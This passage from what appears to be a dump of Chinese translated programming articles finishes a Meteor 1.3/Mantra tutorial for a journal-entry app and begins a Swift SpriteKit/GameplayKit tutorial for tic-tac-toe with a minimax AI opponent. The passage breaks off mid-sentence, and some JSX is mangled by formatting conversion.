password.getInputDOMNode().value = ‘’;\n     }\n    }\n    export default Login;\n\n这基本上是一个相同的表单，但我们将用登录方法来代替它的逻辑。\n\nReact-Boostrap 非常易于使用，我们只需要安装好项目，使用 import 函数引入每个我们想要引用的组件，就像其他类型一样渲染这些组件。\n\n我们处理使用数据的方法则有一些不同，因为它是组件，而不是我们实际需要处理的输入内容，我们需要使用特殊的 React-Bootstrap 函数 getValue() 来帮我们轻松地取值。\n\n#### 第二步 — 添加条目模块\n\n现在，我们将添加新的模块来管理我们的日志条目，首先让我们设置目录和文件。\n\n    mkdir client/modules/entries\n    cd client/modules/entries\n    mkdir actions components containers\n    touch index.js\n    touch actions/index.js actions/entries.js\n    touch components/NewEntry.jsx components/Entry.jsx components/EntryList.jsx\n    touch containers/NewEntry.js containers/Entry.js containers/EntryList.js\n\n好了，现在我们有了应用中所需要的所有文件和文件夹。让我们来做一些真正的开发工作吧。\n\n首先，让我们再来看一下我们创建的应用结构。这里我们制造了一个简单的 Mantra 模块。我们通过这些目录文件来看看他们是怎么做到交互的。通过这些将会让你很好地理解如何使用 Meteor 1.3 和 Mantra 。\n\n**索引**\n\nMantra 有一个庞大的单一入口。这个索引文件负责导入内容随后导出路由和动作，这样在我们导入模块时即可使用。通过这种方式我们不用担心再单独导入每个文件。\n\n    import actions from ‘./actions’;\n    import routes from ‘../core/routes.jsx’;\n    export default {\n     routes,\n     actions\n    };\n\n**动作**\n\n动作文件夹负责我们应用的所有逻辑。你可以看到我们在这里创建了两个文件。首先是一个索引文件。这是一个类似目的模块的索引文件。我们向里面添加下面的内容。\n\n    import entries from ‘./entries’;\n    export default {\n     entries\n    };\n\n上面所做的就是导入条目文件，在条目文件中有我们的动作逻辑。这只是为了更容易地从其他文件导入我们的逻辑。\n\n接下来我们要添加实际逻辑，这些包含了我们的应用逻辑。这里我们要添加一个创建条目的函数方法。\n\n你可以通过查看例子中 users 模块的方法文件来了解这是怎么工作的。\n\n在 actions.js 中添加下面的内容来补全条目模块。\n\n    export default {\n     create({Meteor, LocalState, FlowRouter}, text) {\n      if (!text) {\n       return LocalState.set(‘CREATE_ENTRY_ERROR’, ‘Text is required.’);\n      }\n      LocalState.set(‘CREATE_ENTRY_ERROR’, null);\n      Meteor.call(‘entries.create’, text, (err) => {\n       if (err) {\n        return LocalState.set(‘CREATE_ENTRY_ERROR’, err.message);\n       }\n      });\n     }\n    };\n\n当我们填写表格来创建一个新条目时，这就是会被执行的方法，我们就快设置好这些组件了，让我们先别管服务端的东西，为我们的条目创建集合和方法。\n\n在 lib 目录中打开 collections.js 文件然后添加条目集合。\n\n    export const Entries = new Mongo.Collection(‘entries’);\n\n现在在 server 目录下的 methods 目录中添加 entries.js 文件，并添加以下内容来创建一个创建新条目的方法。\n\n    import {Entries} from ‘/lib/collections’;\n    import {Meteor} from ‘meteor/meteor’;\n    import {check} from ‘meteor/check’;\n    export default function () {\n     Meteor.methods({\n      ‘entries.create’(text) {\n       check(text, String);\n       const createdAt = new Date();\n       const entry = {text, createdAt};\n       Entries.insert(entry);\n      }\n     });\n    }\n\n这是一个我们刚创建的将要被调用的方法。\n\n我们还需要将下面代码添加到 methods 文件夹中的 index.js 文件。\n\n    import entries from ‘./entries’;\n    export default function () {\n     entries();\n    }\n\n**组件**\n\n组件目录存放着我们的 UI 组件。这里的组件只负责显示我们的接口内容，他们不操作任何数据，这些是容器组件需要做的。\n\n让我们创建 UI 组件，然后我们将建立相应的容器组件。\n\n    import React from ‘react’;\n    import {Grid, Row, Col} from 'react-bootstrap';\n    const Entry = ({entry}) => (\n     <grid>\n      <row>\n       <col xs=\"{6}\" xsoffset=\"{3}\">\n        <p>\n         {entry.text}\n        </p> \n\n      </row>\n     </grid>\n    );\n    export default Entry;\n\n这里获取到的 {entry} 对象是我们容器组件要传递给它属性。它包含了我们的数据。\n\n接下来我们创建 NewEntry 组件。\n\n    import React from ‘react’;\n    import { Col, Panel, Input, ButtonInput, Glyphicon } from ‘react-bootstrap’;\n    class NewEntry extends React.Component {\n     render() {\n      const {error} = this.props;\n      return (\n       <col xs=\"{12}\" sm=\"{6}\" smoffset=\"{3}\">\n        <panel>\n         <h1>Add a New Entry</h1>\n         {error ? <p style=\"{{color:\" ‘red’}}=\"\">{error}</p> : null}\n         <form>\n          <input ref=\"”text”\" type=\"”textarea”\" placeholder=\"”Add\" your=\"\" entry”=\"\">\n          <buttoninput onclick=\"{this.newEntry.bind(this)}\" bsstyle=\"”primary”\" type=\"”submit”\" value=\"”Create”/\">\n         </buttoninput></form>\n        </panel>\n\n      )\n     }\n     newEntry(e) {\n      e.preventDefault();\n      const {create} = this.props;\n      const {text} = this.refs;\n      create(text.getValue());\n      text.getInputDOMNode().value = ‘’;\n     }\n    }\n    export default NewEntry;\n\n这里我们使用了更多的 React-Bootstrap 组件，你会留意到为了获取输入的值，我们用了一个特别的 getValue() 方法。这是因为我们的渲染组件实际上并不是输入框，输入框是在这些组件的内部。所以我们需要使用这个函数来访问它。\n\n最后，我们创建一个 EntryList 组件。\n\n    import React from ‘react’;\n    import {Grid, Row, Col, Panel} from ‘react-bootstrap’;\n    const EntryList = ({entries}) => (\n     <grid>\n      <row>\n       {entries.map(entry => (\n        <col xs=\"{3}\" key=\"{entry._id}\">\n         <panel>\n          <p>{entry.title}</p>\n          <a href=\"{`/entry/${entry._id}`}\">View Entry</a>\n         </panel>\n\n       ))}\n      </row>\n     </grid>\n    );\n    export default EntryList;\n\n接下来，我们通过属性来获取数据，设置一些 React-Bootstrap 组件，并为每个入口映射一个对应专属的面板。\n\n现在，让我们来设置这些容器组件，首先从最简单的 NewEntry 容器组件开始。\n\n    import NewEntry from ‘../components/NewEntry.jsx’;\n    import {useDeps, composeWithTracker, composeAll} from ‘mantra-core’;\n    export const composer = ({context, clearErrors}, onData) => {\n     const {LocalState} = context();\n     const error = LocalState.get(‘CREATE_ENTRY_ERROR’);\n     onData(null, {error});\n     return clearErrors;\n    };\n    export const depsMapper = (context, actions) => ({\n     create: actions.entries.create,\n     clearErrors: actions.entries.clearErrors,\n     context: () => context\n    });\n    export default composeAll(\n     composeWithTracker(composer),\n     useDeps(depsMapper)\n    )(NewEntry);\n\n这里你应该已经对 react-komposer 较为熟悉了，我们将用它来创建这一容器组件。它负责创建一个容器组件，用于处理错误、调用合适的动作。在大多数情况下，它还将获取数据并通过属性传给 UI 组件。\n\ndepsMapper 通过 react-komposer 中的 useDeps 函数检索动作及上下文内容并将它们传递给 UI 组件。\n\nclearErrors 方法负责清除组件卸载时发生的所有错误。\n\n让我们在创建条目方法时创建这一方法。\n\n    clearErrors({LocalState}) {\n     return LocalState.set(‘SAVING_ERROR’, null);\n    }\n\n现在我们将要创建 EntryList 组件的容器。这个稍许有些复杂，因为我们会实际上获取一些数据。\n\n    import EntryList from ‘../components/EntryList.jsx’;\n    import {useDeps, composeWithTracker, composeAll} from ‘mantra-core’;\n    export const composer = ({context}, onData) => {\n     const {Meteor, Collections} = context();\n     if (Meteor.subscribe(‘entries.list’).ready()) {\n      const entries = Collections.Entries.find().fetch();\n      onData(null, {entries});\n     }\n    };\n    export default composeAll(\n     composeWithTracker(composer),\n     useDeps()\n    )(EntryList);\n\n这也确实与其他容器组件较为相似，但一个重要的区别在于，我们会检查我们的入口集合条目结合，并将它们分配给一个变量。最终我们通过 onData 函数将这个变量传给 UI 组件。\n\n让我们在 publications 目录下的 entries.js 文件中设置发布\n\n    import {Entries} from ‘/lib/collections’;\n    import {Meteor} from ‘meteor/meteor’;\n    import {check} from ‘meteor/check’;\n    export default function () {\n     Meteor.publish(‘entries.list’, function () {\n      const selector = {};\n      const options = {\n       fields: {_id: 1, text: 1},\n       sort: {createdAt: -1}\n      };\n      return Entries.find(selector, options);\n     });\n    }\n\n同时我们将要为此发布创建一个 index 文件。\n\n    import entries from ‘./entries’;\n    export default function () {\n     entries();\n    }\n\n我们需要在 server 目录中打开 main.js 文件，取消注释行，导入 publications 和 methods ，所以文件就像这样：\n\n    import publications from ‘./publications’;\n    import methods from ‘./methods’;\n\n    // publications();\n    // methods();\n\n最后我们将要为独立的 Entry 组件创建容器组件。\n\n    import Entry from ‘../components/Entry.jsx’;\n    import {useDeps, composeWithTracker, composeAll} from ‘mantra-core’;\n    export const composer = ({context, entryId}, onData) => {\n     const {Meteor, Collections} = context();\n     if (Meteor.subscribe(‘entries.single’, entryId).ready()) {\n      const entry = Collections.Entries.findOne(entryId);\n      onData(null, {entry});\n     } else {\n      const entry = Collections.Entries.findOne(entryId);\n      if (entry) {\n       onData(null, {entry});\n      } else {\n       onData();\n      }\n     }\n    };\n    export default composeAll(\n     composeWithTracker(composer),\n     useDeps()\n    )(Entry);\n\n此容器使用了一个 entryId (将通过我们之后设立的一个路由进行传递)并且找到一个合适的入口，来通过属性传递它给UI组件。\n\n让我们在之前设置的发布列表中快速设置发布来展示发布条目。\n\n    Meteor.publish(‘entries.single’, function (entryId) {\n     check(entryId, String);\n     const selector = {_id: entryId};\n     return Entries.find(selector);\n    });\n\n现在让我们设置我们的路由吧。\n\n**路由** \n\n打开 routes 文件来添加一些新的路由，修改 routes 文件类似如下所示。\n\n    import React from ‘react’;\n    import {mount} from ‘react-mounter’;\n    import Layout from ‘./components/MainLayout.jsx’;\n    import Home from ‘./components/Home.jsx’;\n    import NewUser from ‘../users/containers/NewUser.js’;\n    import Login from ‘../users/containers/Login.js’;\n    import EntryList from ‘../entries/containers/EntryList.js’;\n    import Entry from ‘../entries/containers/Entry.js’;\n    import NewEntry from ‘../entries/containers/NewEntry.js’;\n    export default function (injectDeps, {FlowRouter}) {\n     const MainLayoutCtx = injectDeps(Layout);\n     FlowRouter.route(‘/’, {\n      name: ‘items.list’,\n      action() {\n       mount(MainLayoutCtx, {\n        content: () => (<entrylist>)\n       });\n      }\n     });\n     FlowRouter.route(‘/entry/:entryId’, {\n      name: ‘entries.single’,\n      action({entryId}) {\n       mount(MainLayoutCtx, {\n        content: () => (<entry entryid=\"{entryId}/\">)\n       });\n      }\n     });\n    FlowRouter.route(‘/new-entry’, {\n      name: ‘newEntry’,\n      action() {\n       mount(MainLayoutCtx, {\n        content: () => (<newentry>)\n       });\n      }\n     });\n\n     FlowRouter.route(‘/register’, {\n      name: ‘users.new’,\n      action() {\n       mount(MainLayoutCtx, {\n        content: () => (<newuser>)\n       });\n      }\n     });\n    FlowRouter.route(‘/login’, {\n      name: ‘users.login’,\n      action() {\n       mount(MainLayoutCtx, {\n        content: () => (<login>)\n       });\n      }\n     });\n    FlowRouter.route(‘/logout’, {\n      name: ‘users.logout’,\n      action() {\n       Meteor.logout();\n       FlowRouter.go(‘/’);\n      }\n     }); \n    }</login></newuser></newentry></entry></entrylist>\n\n在运行我们的应用之前我们还需要做最后一件事，打开 main.js 文件并导入我们的 entries 模块，修改内容如下。\n\n    import {createApp} from ‘mantra-core’;\n    import initContext from ‘./configs/context’;\n    // modules\n    import coreModule from ‘./modules/core’;\n    import usersModule from ‘./modules/users’;\n    import entriesModule from ‘./modules/entries’;\n    // init context\n    const context = initContext();\n    // create app\n    const app = createApp(context);\n    app.loadModule(coreModule);\n    app.loadModule(usersModule);\n    app.loadModule(entriesModule);\n    app.init();\n\n现在我们设置了我们的所有路由并且应用已经准备好运行，让我们切换目录到根目录并运行\n\n    meteor\n\n你可以看到应用程序在 Mantra 提供的默认加载效果中启动，让我们添加一个条目，这样我们应该可以在屏幕上看到效果了。\n\n访问 localhost:3000/new-entry ，填写并提交表单来添加一个条目。\n\n然后访问根目录，你应该可以看到一个可以逐个查看链接的条目列表。\n\n希望这个简单的 Mantra 引导以及目前的 Meteor 1.3 beta 版本有助于让你更加了解如何运用它们来构建一个应用。\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f391r94o1nj20go0lgq5b.jpg)\n"
  },
  {
    "path": "TODO/build-tic-tac-toe-with-ai-using-swift.md",
    "content": "> * 原文链接 : [Build Tic Tac Toe with AI Using Swift](https://medium.com/swift-programming/build-tic-tac-toe-with-ai-using-swift-25c5cd3085c9)\n> * 原文作者 : [Keith Elliott](https://medium.com/@mrkeithelliott)\n> * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者 : [Nicolas(Yifei) Li](https://github.com/yifili09) \n> * 校对者: [cyseria](https://github.com/cyseria), [jamweak](https://github.com/jamweak)\n\n\n### 用 Swift 语言和 SpriteKit 创建有人工智能的井字游戏\n\n我对（自我）学习有着很强的热情并且非常着迷。最近，我提出了一个利用制作游戏的理论应用到应用程序开发中来提高用户体验的假说。很多人提出“游戏化”这类的流行词，通过应用程序与用户之间的交互，以及让用户主动参与的方式去取悦用户，达到解决应用程序的痛点的难题。无论你的应用程序到底提供了什么内容。我们今天不会讨论这个（我甚至都不会提起增加游戏感行为的倡导者们是否玩游戏这样的问题。） 取而代之，我们会使用 `SpriteKit`，`GameplayKit` 和 `Swift` 来建立一个游戏。\n\n#### 抑制下你的期望\n\n在你野心勃勃（准备）创建一个高居榜单的应用程序之前，我要告诉你这不是我们今天的目标。我们准备只看冰山一角，创建一个简单的井字游戏 [Tic Tac Toe](http://playtictactoe.org)。在我们着手工作后，我会增加一个由计算机控制的AI（人工智能）　对手（供）允许你对战。\n\n### 第一部分 - 原理\n\nApple 公司在召开 WWDC2013 期间发布了 `SpriteKit`，这给开发者一个比玩转自己（创建的）框架更快建立游戏应用程序的可选方案。由于游戏应用程序这个类别在 Apple 的生态系统中占据了大部分的下载量，这就一点儿都不奇怪 Apple 公司致力于游戏社区的发展并且从让程序开发者们更加简单的创建新的 iOS，macOS，watchOS 和 tvOS 游戏获得巨大的利益。\n\n`SpriteKit` 也通常被引用为 `sprites`，是一个处理渲染，图形动画和图片的框架。作为一个程序开发者，你决定了改变什么，`SpriteKit` 就去处理显示这些变化的工作。你能在[这里](https://developer.apple.com/library/mac/documentation/SpriteKit/Reference/SpriteKitFramework_Ref/index.html)读到更多有关SpriteKit的内容。我也强烈推荐你去阅读 [SpriteKit编程指导](https://developer.apple.com/library/mac/documentation/GraphicsAnimation/Conceptual/SpriteKit_PG/Introduction/Introduction.html#//apple_ref/doc/uid/TP40013043-CH1-SW1) 获取更多框架提供的其他特性，例如处理声音的播放和 `Sprite` 物理模型。\n\n`SpriteKit` 处理你游戏的运行循环并提供多个地方让开发者在每一帧更新游戏内容。下图展示了每一帧从开始更新到最终渲染发生了什么。本质上来说，在每一帧你有很多机会来调整你的游戏。\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f5s9ffdorqj20hn0bmt9o.jpg)\n\n[GameplayKit](https://developer.apple.com/reference/gameplaykit) 是另外一个能使用的框架。 `GameplayKit` 是在去年的 WWDC 被引进的，它提供了很多制作游戏使用的通用方法的实现，例如创建随机数，创建人工智能对手，或者障碍物的寻路系统。他们是非常有用的工具，能做很多繁重的工作并且让游戏应用程序的开发者把精力放在怎么制作更有趣的游戏。我强烈推荐你阅读[GameplayKit编程指导](https://developer.apple.com/library/prerelease/content/documentation/General/Conceptual/GameplayKit_Guide/index.html#//apple_ref/doc/uid/TP40015172)　去学习怎样利用这些框架中的技巧。回到我们这个简单的游戏，我们将只包含框架中的一小部分内容让我们的计算机对手更加“聪明”。\n\n#### 启动 Xcode\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f5s9ge6xqvg20m80dwdxq.gif)\n\n启动 XCode 并且通过为 iOS 设计的模板创建一个游戏项目。 命名游戏为 `TicTacToe` 并且确认编程语言设定为 `Swift`。在项目的创建过程中，　XCode 创建了 `SKScene` 文件，它展示了游戏的初始视图，连同一个视图控制器文件用于初始化你的游戏场景并且处理在应用程序启动的时候展现在屏幕上。如果你现在启动应用程序，你会看到Hello World标签，它让你所有的东西都立即可以使用了。另外，如果你点击了视图，一个宇宙飞船会增加在你点击的位置。我们已经不再需要那个标签和宇宙飞船了，让我们移除那部分代码。切换到 `GameScene.swift` 文件，移除 `didMoveToView` 和 `touchesBegan` 方法中的代码。\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f5s9hnffbmj20m80angoe.jpg)\n\n让我们来花点时间并强调一些场景编辑器的特性。视图的中心是显示了场景，黄色的轮廓围绕着我们的　tic tac toe　游戏棋盘展现了我们的视口，它让我们的游戏可见。我们能改变游戏的视口或者增加摄像机，让我们实时得看见更多游戏的内容。在 `platformer` 中，我们也可以创建一个很大的很多敌人点散列在场景终的背景图片。我们也可以使用一个摄像机节点横跨整个场景随着时间去显示更多新的背景部分。然而，对于这个游戏，我们的视图将会时静止在棋盘附近。\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f5s9hyl7ocj20m80dvwgg.jpg)\n\n场景的底部是节点编辑器。我们可以使用这个编辑器为节点增加功能或者在场景中更容易的选择他们。我们用增加一个节点来表示游戏棋盘，标签和每一格游戏棋盘的占位节点。最后，每一个在场景中的节点都有一个名字，它用于在代码中引用回去。\n\n为了考虑写这篇文章的时间我已经将整个游戏项目提交到了 [Github](https://github.com/mrkeithelliott/tictactoe)，所以你可以追随并且研究我略过的这个区域。\n\n#### 回到代码\n\n让我们切换回到 `GameViewController.swift` 去看看怎样建立我们的场景和让我们的游戏干点事情。在 `viewDidLoad` 方法中我们配置并且装载我们的场景。我们也增加了调试语句所以我们能追踪代码和每秒多少帧。在一个动作游戏中，我们对监控每秒钟多少个节点同时出现在屏幕上连同我们是否可以保持理想上的60fps的帧率感兴趣。\n\n```\n    override func viewDidLoad() {\n      super.viewDidLoad()\n\n      if let scene = GameScene(fileNamed:\"GameScene\") {\n        // Configure the view.\n        let skView = self.view as! SKView\n        skView.showsFPS = true\n        skView.showsNodeCount = true\n\n        /* Sprite Kit applies additional optimizations to improve rendering performance */\n        skView.ignoresSiblingOrder = true\n\n        /* Set the scale mode to scale to fit the window */\n        scene.scaleMode = .AspectFill\n\n        skView.presentScene(scene)\n      }\n    }\n```\n\n再看 `GameScene.swift` 文件，我们需要检查以下三个方法: `didMoveToView`, `tochesBegan` 和 `update`。当场景既要显示在我们的视图控制器的视图内时，`didMoveToView` 方法被调用。我们的 `GameScene` 视图最炫的是我们有好几种选择访问视图里的节点。在我们的方法里，我们通过移除游戏棋盘单元格背景的颜色初始化场景。我们也干了点其他事情，但是我们将在之后的文章里面讨论这些。\n\n```\n    override func didMoveToView(view: SKView) {\n      /* Setup your scene here */\n      self.enumerateChildNodesWithName(\"//grid*\") { (node, stop) in\n        if let node = node as? SKSpriteNode{\n          node.color = UIColor.clearColor()\n        }\n      }\n\n      let top_left: BoardCell  = BoardCell(value: .None, node: \"//*top_left\")\n      let top_middle: BoardCell = BoardCell(value: .None, node: \"//*top_middle\")\n      let top_right: BoardCell = BoardCell(value: .None, node: \"//*top_right\")\n      let middle_left: BoardCell = BoardCell(value: .None, node: \"//*middle_left\")\n      let center: BoardCell = BoardCell(value: .None, node: \"//*center\")\n      let middle_right: BoardCell = BoardCell(value: .None, node: \"//*middle_right\")\n      let bottom_left: BoardCell = BoardCell(value: .None, node: \"//*bottom_left\")\n      let bottom_middle: BoardCell = BoardCell(value: .None, node: \"//*bottom_middle\")\n      let bottom_right: BoardCell = BoardCell(value: .None, node: \"//*bottom_right\")\n\n      let board = [top_left, top_middle, top_right, middle_left, center, middle_right, bottom_left, bottom_middle, bottom_right]\n\n      gameBoard = Board(gameboard: board)\n  }\n```\n\n下一个我们讨论的方法是 `touchesBegan`。这个方法处理用户选择移动和重置游戏的触摸事件。对场景上的每一个触摸事件，我们决定他们在场景上的位置和哪一个节点被选中。就我们的情况来说，我们要么放置玩家的棋子在一个单元格里，要么重置游戏。我们也更新内部的游戏棋盘状态。\n\n```\n  override func touchesBegan(touches: Set<UITouch>, withEvent event: UIEvent?) {        \n    for touch in touches {\n      let location = touch.locationInNode(self)\n      let selectedNode = self.nodeAtPoint(location)\n      var node: SKSpriteNode\n\n      if let name = selectedNode.name {\n        if name == \"Reset\" || name == \"reset_label\"{\n          self.stateMachine.enterState(StartGameState.self)\n          return\n        }\n      }\n\n      if gameBoard.isPlayerOne(){\n        let cross = SKSpriteNode(imageNamed: \"X_symbol\")\n        cross.size = CGSize(width: 75, height: 75)\n        cross.zRotation = CGFloat(M_PI / 4.0)\n        node = cross\n      }\n      else{\n        let circle = SKSpriteNode(imageNamed: \"O_symbol\")\n        circle.size = CGSize(width: 75, height: 75)\n        node = circle\n      }\n\n      for i in 0...8{\n        guard let cellNode: SKSpriteNode = self.childNodeWithName(gameBoard.getElementAtBoardLocation(i).node) as? SKSpriteNode else{\n            return\n        }\n        if selectedNode.name == cellNode.name{\n          cellNode.addChild(node)\n          gameBoard.addPlayerValueAtBoardLocation(i, value: gameBoard.isPlayerOne() ? .X : .O)\n          gameBoard.togglePlayer()\n        }\n      }\n    }\n  }\n```\n\n最后需要被重写的方法是 `update`。这个方法在游戏中的每一帧都被调用并且是触发我们游戏逻辑处理的地方。我们使用 `GameplayKit` 的状态机(`StateMachine`)处理我们的游戏逻辑。\n\n```\n  override func update(currentTime: CFTimeInterval) {\n    /* Called before each frame is rendered */\n    self.stateMachine.updateWithDeltaTime(currentTime)\n  }\n```\n\n### 第二部分 - 游戏逻辑\n\n到目前为止，我们已经涉及掌握了建立（游戏如何）显示的内容，我们将开始涉及足够你能自己开发一个游戏的游戏逻辑。\n\n#### 状态机(StateMachines)\n\n大部分游戏的逻辑仅仅是请求当前游戏设置的状态。随着状态的改变，所以逻辑也需要改变。这也就归结为（怎么）对待状态机。我们将使用 `GameplyKit` 提供的一种状态机的实现在我们的游戏里。让我们看看我实现的 `GameStateMachine.swift` 去控制游戏中的状态。我为我们的游戏创建了三个状态: `StartGameState`，　`ActiveGameState` 和 `EndGameState`，他们都从自 `GKState` 继承来。为了让我们的状态机工作，我们必须为每一个（状态）提供有效的下一个状态连同一个更新（状态）的方法，我们的状态机将同每一个帧更新的同时调用这个方法。在每一个更新时，我们的状态机会为活动的状态调用 `updateWithDeltaTime` 方法。\n\n![](http://ww2.sinaimg.cn/large/a490147fjw1f5s9j8vludj20l803i0t2.jpg)\n\n `StartGameState`是我们如何开始游戏（的状态）。在这个状态行下我们重置游戏棋盘并且在之后转换到 `ActiveGameState`。我们重写 `isValidNextState` 函数确保只有 `ActiveGameState` 是下一个有效的状态。所以，当我们在 `StartGameState`（状态下）， 我们只能去那里并且避免进入到其他状态。状态机也有一个 `didEnterWithPreviousState` 的函数被调用当正在执行的状态被激活。它也提供给你这个状态来自哪里。就我们的情况来说，我们调用 `resetGame` 函数去建立我们的游戏。\n\n```\n    class StartGameState: GKState{\n      var scene: GameScene?\n      var winningLabel: SKNode!\n      var resetNode: SKNode!\n      var boardNode: SKNode!\n\n      init(scene: GameScene){\n        self.scene = scene\n        super.init()\n      }\n\n      override func isValidNextState(stateClass: AnyClass) -> Bool {\n        return stateClass == ActiveGameState.self\n      }\n\n      override func updateWithDeltaTime(seconds: NSTimeInterval) {\n        resetGame()\n        self.stateMachine?.enterState(ActiveGameState.self)\n      }\n\n      func resetGame(){\n        let top_left: BoardCell  = BoardCell(value: .None, node: \"//*top_left\")\n        let top_middle: BoardCell = BoardCell(value: .None, node: \"//*top_middle\")\n        let top_right: BoardCell = BoardCell(value: .None, node: \"//*top_right\")\n        let middle_left: BoardCell = BoardCell(value: .None, node: \"//*middle_left\")\n        let center: BoardCell = BoardCell(value: .None, node: \"//*center\")\n        let middle_right: BoardCell = BoardCell(value: .None, node: \"//*middle_right\")\n        let bottom_left: BoardCell = BoardCell(value: .None, node: \"//*bottom_left\")\n        let bottom_middle: BoardCell = BoardCell(value: .None, node: \"//*bottom_middle\")\n        let bottom_right: BoardCell = BoardCell(value: .None, node: \"//*bottom_right\")\n\n        boardNode = self.scene?.childNodeWithName(\"//Grid\") as? SKSpriteNode\n\n        winningLabel = self.scene?.childNodeWithName(\"winningLabel\")\n        winningLabel.hidden = true\n\n        resetNode = self.scene?.childNodeWithName(\"Reset\")\n        resetNode.hidden = true\n\n        let board = [top_left, top_middle, top_right, middle_left, center, middle_right, bottom_left, bottom_middle, bottom_right]\n\n        self.scene?.gameBoard = Board(gameboard: board)\n\n        self.scene?.enumerateChildNodesWithName(\"//grid*\") { (node, stop) in\n          if let node = node as? SKSpriteNode{\n            node.removeAllChildren()\n          }\n        }\n      }\n    }\n```\n\n`ActiveGameState` 是当我们正在玩我们的游戏时候的状态。我们再次重写 `isValidNextState` 这个函数并且这次我们想你只能转换到 `EndGameState` 状态。我们也重写了 `didEnterWithPreviousState` 函数，但是这次我们只是在 `update` 方法被调用的时候更新一个我们的实例属性让我们的游戏如期望的执行。最后，我们重写 `updateWithDeltaTime` 函数去决定是否有一个胜利者，游戏是否被绘制，或者当前玩家游戏回合被改变。此外当玩家二的回合时，我们调用 `AI` 的程序去决定对玩家最好的策略并执行这个策略。\n\n```\n    class ActiveGameState: GKState{\n      var scene: GameScene?\n      var waitingOnPlayer: Bool\n\n      init(scene: GameScene){\n        self.scene = scene\n        waitingOnPlayer = false\n        super.init()\n      }\n\n      override func isValidNextState(stateClass: AnyClass) -> Bool {\n        return stateClass == EndGameState.self\n      }\n\n      override func didEnterWithPreviousState(previousState: GKState?) {\n        waitingOnPlayer = false\n      }\n\n      override func updateWithDeltaTime(seconds: NSTimeInterval) {\n        assert(scene != nil, \"Scene must not be nil\")\n        assert(scene?.gameBoard != nil, \"Gameboard must not be nil\")\n\n        if !waitingOnPlayer{\n          waitingOnPlayer = true\n          updateGameState()\n        }\n      }\n\n      func updateGameState(){\n        assert(scene != nil, \"Scene must not be nil\")\n        assert(scene?.gameBoard != nil, \"Gameboard must not be nil\")\n\n        let (state, winner) = self.scene!.gameBoard!.determineIfWinner()\n        if state == .Winner{\n          let winningLabel = self.scene?.childNodeWithName(\"winningLabel\")\n          winningLabel?.hidden = true\n          let winningPlayer = self.scene!.gameBoard!.isPlayerOne(winner!) ? \"1\" : \"2\"\n          if let winningLabel = winningLabel as? SKLabelNode,\n            let player1_score = self.scene?.childNodeWithName(\"//player1_score\") as? SKLabelNode,\n            let player2_score = self.scene?.childNodeWithName(\"//player2_score\") as? SKLabelNode{\n            winningLabel.text = \"Player \\(winningPlayer) wins!\"\n            winningLabel.hidden = false\n\n            if winningPlayer == \"1\"{\n              player1_score.text = \"\\(Int(player1_score.text!)! + 1)\"\n            }\n            else{\n              player2_score.text = \"\\(Int(player2_score.text!)! + 1)\"\n            }\n\n            self.stateMachine?.enterState(EndGameState.self)\n            waitingOnPlayer = false\n          }\n        }\n        else if state == .Draw{\n          let winningLabel = self.scene?.childNodeWithName(\"winningLabel\")\n          winningLabel?.hidden = true\n\n          if let winningLabel = winningLabel as? SKLabelNode{\n            winningLabel.text = \"It's a draw\"\n            winningLabel.hidden = false\n          }\n          self.stateMachine?.enterState(EndGameState.self)\n          waitingOnPlayer = false\n        }\n\n        else if self.scene!.gameBoard!.isPlayerTwoTurn(){\n          //AI moves\n          self.scene?.userInteractionEnabled = false\n\n          assert(scene != nil, \"Scene must not be nil\")\n          assert(scene?.gameBoard != nil, \"Gameboard must not be nil\")\n\n          dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0)) {\n            self.scene!.ai.gameModel = self.scene!.gameBoard!\n            let move = self.scene!.ai.bestMoveForActivePlayer() as? Move\n\n            assert(move != nil, \"AI should be able to find a move\")\n\n            let strategistTime = CFAbsoluteTimeGetCurrent()\n            let delta = CFAbsoluteTimeGetCurrent() - strategistTime\n            let  aiTimeCeiling: NSTimeInterval = 1.0\n\n            let delay = min(aiTimeCeiling - delta, aiTimeCeiling)\n            dispatch_after(dispatch_time(DISPATCH_TIME_NOW, Int64(delay) * Int64(NSEC_PER_SEC)), dispatch_get_main_queue()) {\n\n              guard let cellNode: SKSpriteNode = self.scene?.childNodeWithName(self.scene!.gameBoard!.getElementAtBoardLocation(move!.cell).node) as? SKSpriteNode else{\n                return\n              }\n              let circle = SKSpriteNode(imageNamed: \"O_symbol\")\n              circle.size = CGSize(width: 75, height: 75)\n              cellNode.addChild(circle)\n              self.scene!.gameBoard!.addPlayerValueAtBoardLocation(move!.cell, value: .O)\n              self.scene!.gameBoard!.togglePlayer()\n              self.waitingOnPlayer = false\n              self.scene?.userInteractionEnabled = true\n            }\n          }\n        }\n        else{\n          self.waitingOnPlayer = false\n          self.scene?.userInteractionEnabled = true\n        }\n      }\n    }\n```\n\n`EndGameState` 是我们状态机的最后一个状态。`isValidNextState` 函数只允许这个状态被转换到 `StartGameState`。`didEnterWithPreviousState` 函数只显示重置按钮所以玩家可以点击并且重置游戏。\n\n```\n    class EndGameState: GKState{\n      var scene: GameScene?\n\n      init(scene: GameScene){\n        self.scene = scene\n        super.init()\n      }\n\n      override func isValidNextState(stateClass: AnyClass) -> Bool {\n        return stateClass == StartGameState.self\n      }\n\n      override func didEnterWithPreviousState(previousState: GKState?) {\n        updateGameState()\n      }\n\n      func updateGameState(){\n        let resetNode = self.scene?.childNodeWithName(\"Reset\")\n        resetNode?.hidden = false\n      }\n    }\n```\n\n#### 极大极小值策略(MinMax Strategist)\n\n在很多棋盘类游戏中，胜利基于策略，并且每一步都需要计算。在 `GameplayKit` 中，一个（战略家） `Strategist` 是一个人工智能，可作为一个对手或者确定一步或者多步的策略为玩家给予提示。 [GKMinmaxStrategist](https://developer.apple.com/library/prerelease/content/documentation/General/Conceptual/GameplayKit_Guide/Minmax.html#//apple_ref/doc/uid/TP40015172-CH2-SW1) 类提供一个实现极大极小值策略的方式。极大极小值策略通过在游戏里建立一个对所有剩余可能性策略选择的决策树。我们可以通过配置预测多少步让 AI 变得更强或更弱。 \n\n让我们关注下最后的文件 `AIStrategy.swift` 去瞧一瞧怎么实现必须的类和协议来完成我们游戏中AI的工作。最终我们需要创建一个 `GKMinmaxStrategist` 类的实例并且实现以下几个协议: `GKGameModel`, 